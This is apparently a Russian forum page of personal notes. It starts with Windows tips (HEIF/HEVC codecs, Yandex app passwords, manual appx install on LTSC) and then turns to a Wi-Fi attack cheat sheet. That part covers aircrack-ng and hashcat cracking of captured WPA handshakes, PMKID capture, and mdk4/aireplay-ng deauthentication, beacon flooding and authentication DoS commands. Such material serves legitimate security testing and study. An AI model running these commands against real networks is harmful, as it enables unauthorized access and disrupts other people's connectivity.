Пожалуйста, войдите или зарегистрируйтесь.
1 час 1 день 1 неделя 1 месяц Навсегда

Вариант 1

1. Установить 2 приложения из Microsoft Store.
    Если используется LTSC-версия Windows, где Microsoft Store не поддерживается, эти приложения можно установить вручную.

1.1. Возможность читать и писать файлы (расширение *.heic или *.heif) в формате HEIF (High Efficiency Image File)
https://apps.microsoft.com/detail/9PMMSR1CGPWG?OCID=AID681541_aff_7593_159229

1.2. Возможность проигрывать видео, закодированные кодеком HEVC (High Efficiency Video Coding)
https://apps.microsoft.com/detail/9N4WGH0Z6VHQ?OCID=AID681541_aff_7593_159229


Вариант 2

Установить бесплатный Windows Imaging Component for HEIC files (wic_heic) - у меня работал сильно медленее варианта 1.

Код: [Выделить]

RunDll32 "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen C:\Фото\Классная тусовка\


1. Войти в нужную учётную запись Яндекс.Почты.

2. Зайти "Все настройки" ➔ "Почтовые программы" ➔ "Разрешить доступ к почтовому ящику с помощью почтовых клиентов"
Поставить галочку (любую из 2-х достаточно):
[✔] С сервера imap.yandex.ru по протоколу IMAP
[✔] С сервера pop.yandex.ru по протоколу POP3

3. Зайти в Яндекс.ID ➔ "Безопасность" ➔ "Пароли приложений" ➔ "Создать пароль приложения" ➔ "Почта"

Созданный пароль указать в программе, которой необходимо отправлять сообщения по SMTP.

Проблема: в LTSC версии Windows приложение для работы с Microsoft Store недоступно и установить UPW-приложения не получается
Решение: скачать и установить вручную

1. Скачать
1.1. Зайти на https://store.rg-adguard.net.
1.2. Ввести url приложения в Microsoft Store, нажать на кнопку.
1.3. На файле с расширением "appxbundle" нажать правую кнопку мыши и выбрать "Сохранить ссылку как...".
2. Установить, для чего выполнить

Код: [Выделить]

PowerShell Add-AppxPackage -path <скачанный дистрибутив UPW-приложения>
PowerShell Add-AppxPackage -path Microsoft.HEVCVideoExtension_2.0.61931.0.AppxBundle


UWP-приложения устанавливаются в папку %ProgramFiles%\WindowsApps, однако ни зайти в неё, ни запустить приложение оттуда не получится.

Shell-команда (команда, выполняемая Проводником Windows) для открытия списка всех установленных приложений - открывается псевдо-папка Applications

Код: [Выделить]

shell:AppsFolder
Explorer.exe shell:AppsFolder

Чтобы создать ярлык для приложения из Microsoft Store, нужно перетащить его значок из этой псевдо-папки Applications на Рабочий стол.
Если это не получается, то ярлык можно создать вручную, при этом в поле "Расположение объекта" нужно вставить данные из колонки AppUserModelId псевдо-папки Applications (показывается в режиме просмотра "Таблица)

Код: [Выделить]

Explorer.exe shell:AppsFolder\<название из колонки AppUserModelId>
Explorer.exe shell:AppsFolder\Microsoft.WindowsAlarms_8wekyb3d8bbwe!App


Проблема: в произвольный момент времени (или при выходе из игры) экран становится чёрным
Решение: перезагрузить видео-драйвер нажав одновременно [ Ctrl ] + [ Shift ] + [ Win ] + [ B ]

Подобрать хэш для пароля из дампа в файле wifi-01.cap

Код: [Выделить]

aircrack-ng wifi-01.cap -w /usr/share/dict/wordlist-probable.txt
aircrack-ng wifi-01.cap -w /!Dic/rockyou.txt

Очистить дамп от всех данных, кроме WPA handshake

Код: [Выделить]

wpaclean wifi-01_cleaned.cap wifi-01.cap

Конвертировать дамп от airodump-ng в вид, понятный hashcat
Подобрать хеш для пароля из файла wifi-01.hash

Код: [Выделить]

hcxpcapngtool wifi-01.cap -o wifi-01.hash
hashcat -m 22000 -a 0 wifi-01.hash /!Dic/rockyou.txt -o wifi-01.hash.result --session my-ses1


• Отдельная тема по hashcat - https://adc.su/forum/index.php?topic=6337

Деаутентификация

Код: [Выделить]

aireplay-ng wlan1 --deauth 20 -a <MAC точки доступа> -c <MAC подключённого клиента>
mdk4 wlan1 d -c <канал> -E <SSID>
mdk4 wlan1 d -c 1 -E 52:FF:20:90:98:C0

Beacon Flooding (generate many fake APs seen by clients - client confusion, crash network scanners)

Код: [Выделить]

mdk4 wlan1 b -a -w nta -m

Authentication DoS (simulate many clients - freeze/reset AP)

Код: [Выделить]

mdk4 wlan1 a -m -a 52:FF:20:90:98:C0

EAPOL Start Injection (keep AP busy with fake sessions - disable handling of legitimate clients)

Код: [Выделить]

mdk4 wlan1 e -t 52:FF:20:90:98:C0

EAPOL Logoff Injection (kick clients from AP)

Код: [Выделить]

mdk4 wlan1 e -t 52:FF:20:90:98:C0 -l


PMKID (Pairwise Master Key Identifier) — производная (результат вычисления хеш-функции) от ключа PMK (Pairwise Master Key — парный главный ключ, результат вычисления хеш-функции от пароля сети). Трансляция PMKID в эфир — часть стандарта 802.11r (реализован в большинстве роутеров и обычно включён по умолчанию), который описывает механизм быстрого роуминга в Wi-Fi-сетях с несколькими точками доступа и позволяет ускорить переподключение клиентского устройства к новой точке доступа.


Запустить airodump-ng - интерфейсе wlan1, канал 1, точка доступа с BSSID 54..., сохранять пакеты в файл wifi

Код: [Выделить]

airodump-ng wlan1 -c 1 --bssid 54:C2:50:AC:AE:C9 -w wifi

Либо запустить hcxdumptool - интерфейсе wlan1, точка доступа с BSSID 54..., сохранять пакеты в файл pmkid.cap

Код: [Выделить]

hcxdumptool -i wlan1 -c 149b -w pmkid.cap --filterlist_ap=54:C2:50:AC:AE:C9 --filtermode=2
hcxdumptool -i wlan1 -c 149b -w pmkid.cap


Список беспроводных сетей (значения столбцов)

• BSSID — уникальный MAC-адрес беспроводной сети (6 чисел в шестнадцатеричном формате, разделённых двоеточиями).
• PWR — уровень сигнала, отрицательное число, чем ближе к 0 — тем сигнал сильнее. Для комфортной работы — до -50, для видеосвязи — до -65, для VoIP — до -75. Значения ниже -85 и в особенности ниже -90 можно считать крайне слабым уровнем. Зависит как от мощности передатчика, так и от коэффициента усиления антенны в принимающем адаптере (внешние адаптеры имеют усиление 0-12 dB, внешние 1-2-метровые всенаправленные антенны — до 24 dB).
• Beacons — число переданных точкой доступа «маячков» — пакетов, оповещающих находящиеся рядом устройства о существовании этой беспроводной сети, уровне сигнала, её имени (BSSID/ESSID) и прочей информации. Используется для подключения. Обычно точки доступа передают маячки каждые 100 мсек (10 раз в секунду), но интервал можно увеличить до 1 сек. Отсутствие маячка не говорит об отсутствии беспроводной сети — в скрытом (hidden) режиме точка доступа не передаёт маячков, но к ней можно подключиться, если знать точное имя сети.
• #Data — число пакетов с данными, которые пришли от этой точки доступа. Это может быть HTTP-трафик, ARP-запросы, запросы на авторизацию (handshake) и прочее. Если к сети не подключен ни один клиент или если он ничего не передаёт, то это значение не меняется и может быть 0.
• #/s — число пакетов с данными в секунду (значение #Data, делённое на время наблюдения за этой сетью).
• CH — номер канала.
• MB — скорость передачи (ширина канала) в Мбит/с. Точка в конце обозначает, что точка доступа поддерживает короткую преамбулу (short preamble). Можно увидеть значения 11, 54, 54e.
• ENC — тип беспроводной сети — OPN (открытая), WEP, WPA, WPA2.
• CIPHER — тип шифрования данных после handshake, TKIP или CCMP.
• AUTH — механизм аутентификации для передачи временного ключа, PSK (обычная авторизация по единому паролю для WPA(2)), MGT (WPA(2) Enterprise с отдельным сервером с ключами RADIUS), OPN (открытая).
• ESSID — имя беспроводной сети (может не быть уникальным, так как его задаёт пользователь; для всех внутренних операций используется BSSID).

Список беспроводных сетей и клиентов (значения столбцов)

• BSSID — MAC-адрес точки доступа, к которой подключён клиент. Если указано "not associated" — клиент отключён от всех сетей, но адаптер работает (возможно, он ищет доступные сети).
• STATION — MAC-адрес клиента.
• PWR — уровень сигнала от клиента. Чем ближе к 0, тем клиент ближе/сигнал мощнее.
• Rate — когда airodump-ng запущен с фиксацией канала, этот столбец показывает частоту передачи пакетов с данными от точки доступа к клиенту (слева от дефиса) и от клиента обратно (справа).
• Lost — число потерянных пакетов, которые наша система (не клиент) не зарегистрировала. Это легко вычислить, так как в передаваемых пакетах есть счётчик.
• Frames (Packets) — число пакетов с данными, которые мы уловили от этого клиента (см. #Data в первой таблице).
• Probe — список ESSID-имён беспроводных сетей, к которым клиент готов подключиться.

Горячие клавиши airodump-ng
"a" - переключить режим отображения: точки доступа, клиенты, точки доступа и клиенты
"s" - изменить сортировку
"o" - включить/выключить цвет
пробел - остановить/запустить обновление данных на экране

★ ★ ★

Для работы с airodump-ng необходимо сначала перевести Wi-Fi интерфейс в режим мониторинга!


Мониторинг эфира - интерфейс wlan1; диапазоны 2,4 ГГц и 5 ГГц; выводить производителя, параметры WPS и время работы точек доступа

Код: [Выделить]

airodump-ng wlan1 --band abg --wps --manufacturer --uptime

Мониторинг эфира - интерфейс wlan1; диапазоны 2,4 ГГц и 5 ГГц; точка (-и) доступа с именем "MyAP"; выводить производителя, параметры WPS и время работы точек доступа; сохранять пакеты в файл wifi

Код: [Выделить]

airodump-ng wlan1 --band abg --wps --manufacturer --uptime --essid "MyAP" -w wifi

★ ★ ★

Захват трафика - интерфейс wlan1, канал 1, сохранять пакеты в файл wifi

Код: [Выделить]

airodump-ng wlan1 -c 1 -w wifi

Захват трафика - интерфейс wlan1, канал 1, точка доступа с BSSID 54..., сохранять пакеты в файл wifi

Код: [Выделить]

airodump-ng wlan1 -c 1 --bssid 54:C2:50:AC:AE:C9 -w wifi